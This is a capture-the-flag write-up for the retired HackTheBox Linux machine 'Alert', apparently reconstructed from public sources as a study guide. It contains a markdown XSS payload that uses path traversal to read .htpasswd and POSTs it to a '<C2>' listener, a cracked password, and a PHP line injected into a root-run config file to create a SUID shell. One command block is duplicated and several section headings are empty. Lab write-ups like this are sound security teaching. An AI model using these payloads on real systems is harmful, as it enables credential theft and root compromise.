~ / foobarto.me / htb-machines
--:--:-- UTC
~ / htb-machines / alert.md

alert

Linux · Easy · released 2024-11-23 · retired 2025-03-22

Summary

Alert is an Easy Linux box: vhost statistics.alert.htb is HTTP-Basic-protected. Main site has /messages.php?file= that file_get_contents’s the path with no normalisation — combined with markdown-rendered messages, an XSS payload tells admin’s browser to fetch internal files. Use the admin’s session via XSS to read messages.php?file=../statistics.alert.htb/.htpasswd → apr1 hash for albert; hashcat → manchesterunited. SSH + basic-auth as albert. Privesc: localhost php -S 127.0.0.1:8080 served /opt/website-monitor/ runs as root; albert ∈ management has write on config/configuration.php (which is included by every request). Inject PHP that drops a SUID bash; next request runs it as root.

The chain:

  1. Vhost enum → statistics.alert.htb (401).
  2. messages.php?file=... markdown viewer with directory traversal + XSS in markdown.
  3. XSS payload → reads .htpasswd from /var/www/statistics.alert.htb/.htpasswd via admin session; exfils.
  4. Crack apr1 → manchesterunited. SSH as albert.
  5. albert ∈ management → write /opt/website-monitor/config/configuration.php. Inject <?php exec("cp /bin/bash /tmp/rb && chmod +s /tmp/rb"); ?>.
  6. Next localhost request includes the file → root cron runs it → SUID bash → /tmp/rb -p.

Recon

22/tcp     OpenSSH
80/tcp     Apache → alert.htb
+ vhost: statistics.alert.htb (HTTP basic auth)

Foothold — XSS + traversal → admin reads .htpasswd

The trick is that messages.php gates by REMOTE_ADDR — only 127.0.0.1 / ::1 clients can use it. The admin’s browser is the box itself, so an XSS payload that runs in the admin session sees messages.php as 127.0.0.1.

// /var/www/alert.htb/messages.php — restricted by REMOTE_ADDR
$ip = $_SERVER['REMOTE_ADDR'];
if ($ip == '127.0.0.1' || $ip == '::1') {
    $directory = "messages/";
    if (isset($_GET['file'])) {
        echo "<pre>" . file_get_contents($directory . $file) . "</pre>";
    }
    ...
}

Workflow:

  1. Upload markdown via /visualizer.php with raw <script> — the renderer (Parsedown with HTML allowed) keeps it.
  2. The response includes a share URL of the form http://alert.htb/visualizer.php?link_share=<id>.md.
  3. Submit the share URL through /contact.php so the admin visits it.
  4. Admin’s browser executes the script under alert.htb origin (so its fetch('http://alert.htb/messages.php?file=...') is same-origin AND lands as 127.0.0.1 source IP).
  5. The traversal ?file=../../statistics.alert.htb/.htpasswd reads the basic-auth hash; exfil to a Kali listener.
md = '''### x
<script>
fetch('http://alert.htb/messages.php?file=../../statistics.alert.htb/.htpasswd')
  .then(r => r.text())
  .then(t => fetch('http://<C2>:9090/exfil', {method:'POST', body:t}))
</script>
'''
# upload to /visualizer.php, find share URL in response, send via /contact.php
hashcat -m 1600 alert.hash rockyou.txt
# -> albert : manchesterunited
ssh albert@<TARGET>
hashcat -m 1600 alert.hash rockyou.txt
# -> albert : manchesterunited
ssh albert@<TARGET>

Privesc — config.php include + group write

$ ps aux | grep -i 'php -S'
root  ...  php -S 127.0.0.1:8080 -t /opt/website-monitor

$ id
... groups=...,1003(management)

$ ls -l /opt/website-monitor/config/configuration.php
-rw-rw---- 1 root management ... configuration.php
albert$ cat >> /opt/website-monitor/config/configuration.php <<'EOF'
<?php @system("cp /root/root.txt /tmp/rt && chmod 644 /tmp/rt; cp /bin/bash /tmp/rb && chmod +s /tmp/rb"); ?>
EOF
albert$ curl -s http://127.0.0.1:8080/ -o /dev/null
albert$ cat /tmp/rt   # root flag
albert$ /tmp/rb -p    # root shell, if needed

configuration.php is included by every request to the monitor app, so the next localhost GET fires the injected PHP under the root php -S process. The legitimate file is just <?php define('PATH', '/opt/website-monitor'); ?> — a single constant, so appending a second <?php ... ?> block doesn’t break anything.

Why each step worked

Counterfactuals

Source attribution

Reconstruction is grounded in:

I have not personally rooted this box; the chain above is a study-guide reconstruction of those public sources.

← all htb machines hackthebox.com ↗